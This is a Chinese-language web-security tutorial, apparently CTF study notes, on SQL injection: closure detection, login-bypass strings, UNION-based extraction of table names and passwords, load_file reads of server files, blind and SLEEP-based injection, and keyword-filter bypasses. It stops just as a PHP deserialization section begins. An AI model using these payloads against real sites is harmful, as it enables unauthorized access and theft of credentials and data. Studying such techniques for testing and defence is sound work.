Web 专题¶
约 1515 个字 30 行代码 预计阅读时间 8 分钟
Web 专题一 SQL注入¶
SQL注入基础¶
常见 SQL 查询语句:
$sql=select xxx from xxx where ...
user='$username' and password='$password'
id=$id
在进行 SQL 注入之前,首先需要搞清楚 SQL 查询语句的闭合方式,即是单引号闭合、双引号闭合还是数字类型
具体而言:
- 如果输入
'
没有报错(报错显示什么得看源代码的结构),那么查询语句一般是双引号闭合- 构成
select xxx from xxx where user="'"
- 构成
- 如果输入
"
没有报错,那么查询语句一般是单引号闭合- 构成
select xxx from xxx where user='"'
- 构成
- 如果上述两个方式都报错了,那么很可能是数字类型
- 构成
select xxx from xxx where id='
- 构成
上述只是一般论,实战中请做好自己的判断
知道闭合类型后,就可以开始尝试构建一个能够返回数据的 payload 了
由于数字类型的 SQL 查询非常少见,我们演示的均为 单引号闭合类型 ,比如一个非常常见的注入方式: ' or ''='
此时,替换得到的查询语句为 select xxx from xxx where user='' or ''=''
,条件恒为 True
常见的万能密码如下,不过一般也没什么大用处
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
--
后面需要加一个空格才能起到注释作用
基本注入方式¶
SQL 的注入分为 有回显 和 无回显 ,其二者所需要的注入方式大不相同
有回显注入¶
有回显,顾名思义就是会返回你查询到的数据。对于此种注入,最常见的方法就是使用 UNION SELECT
联合查询自己想要得到的数据
由于我们一般不清楚查询的表单会返回多少字段数据,所以在 UNION SELECT
之前,一般要用 ORDER BY
来测试,ORDER BY n
当你查询到的字段数大于 n ,不会报错;反之,则会报错,藉此确定我们 UNION SELECT
后要接多少条数据
不用 ORDER BY 也可以
事实上,你也可以直接选择 UNION SELECT 1,2,3,...
,一直试到报错即可
确定字段数后,就可以为所欲为的爆出数据库的信息了,下面均以字段数为 1 的有回显注入为例子:
假设有查询语句: $SQL=select xxx from xxx where user=''
admin' union select DATABASE()#
- 爆出数据库名
admin' union select group_concat(table_name) from information_schema.tables where table_schema=DATABASE()#
- MySQL 中有
infomation_schema
,存储着该数据库里面表单的各种数据 - 爆出该数据库内的所有表名
- MySQL 中有
admin' union select GROUP_CONCAT(PASSWORD) FROM USERS)#
- 假设该数据库内有表单名为
USERS
,且有列名为PASSWORD
- 其实列名也可以通过类似方式在
infomation_schema
中爆出,请自行探索 - 爆出表中的所有
PASSWORD
- 假设该数据库内有表单名为
admin' union select load_file('/home/flag.txt')#
- 读取服务器上文件数据
- 在对方服务器允许的情况下,什么可以使用
into file
来写入文件(一般不允许就是了)
注入常见参数如下:
user()
:当前数据库用户database()
:当前数据库名version()
:当前使用的数据库版本@@datadir
:数据库存储数据路径concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来concat_ws()
:用法类似hex()
和unhex()
:用于 hex 编码解码load_file()
:以文本方式读取文件,在 Windows 中,路径设置为\\
select xxoo into outfile '路径'
:权限较高时可直接写文件
无回显注入¶
无回显注入是看不到你查询到的数据是如何的,有些题目的报错界面甚至就是一个空白,但是我们仍然可以利用 SUBSTR
函数来对其进行判断
假设有一个登录界面,只有你登录成功的时候会有消息提示,且查询语句为 select xxx from xxx where user='$username' and password='$password'
那么:
password=111&username=0' or ascii(substr(DATABASE(),1,1))>96#
- 判断 DATABASE() 的第一位字符的ASCII码是否大于96,是的话返回登录成功
- 后面关于 password 的判定直接被注释掉了,所以无关大雅
- 其它注入与有回显类似,只是方式不同,且麻烦了些
SLEEP
有时,还可以选择使用 SLEEP
函数来实现对结果的判断,password=111&username=admin' and if(ascii(substr(DATABASE(),1,1))>0,sleep(2),sleep(5))#
注意,if 语句前需要使用 and 而不能是 or ,因为用 or 的话每次会遍历一遍表单,没有一行数据都会对 if 进行一次判断,导致延时过久
注入检测的绕过¶
同义词替换¶
and
=>&&
or
=>||
Space
=>/**/
(或写一个更加复杂的注释,如/*//+-*/
)
大小写绕过¶
由于 SQL 一般不区分大小写,所以如果题目对查询语句正则,有时可以将被过滤的管检测改为大小写混乱分布,如 UnIoN
可执行注释¶
在 MySQL 中,/*!50000 */
这种格式的注释,在 MySQL 版本大于 5.00.00 的时候是会执行注释内部的语句的,根据自己需求把 50000 改成其它数字即可,但要注意一定是五位数
URL编码编码绕过¶
在 BurpSuite 中通过改包上传数据时,可以用 URL 编码替换等价字符来尝试绕过对关键词的检测
如下为常用URL编码:
Space
: %20#
: %23'
: %27"
: %22+
: %2B
有些服务器支持二次编码,比如 %%37%63%%37%63
最终会变为 ||
(or)
#+$-_.!*() 浏览器地址栏默认不编码,但是不意味着不能编码
Web 专题二 反序列化¶
php 将数据序列化和反序列化会用到两个函数
- serialize 将对象格式化成有序的字符串
- unserialize 将字符串还原成原来的对象
在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
一个简单的例子如下: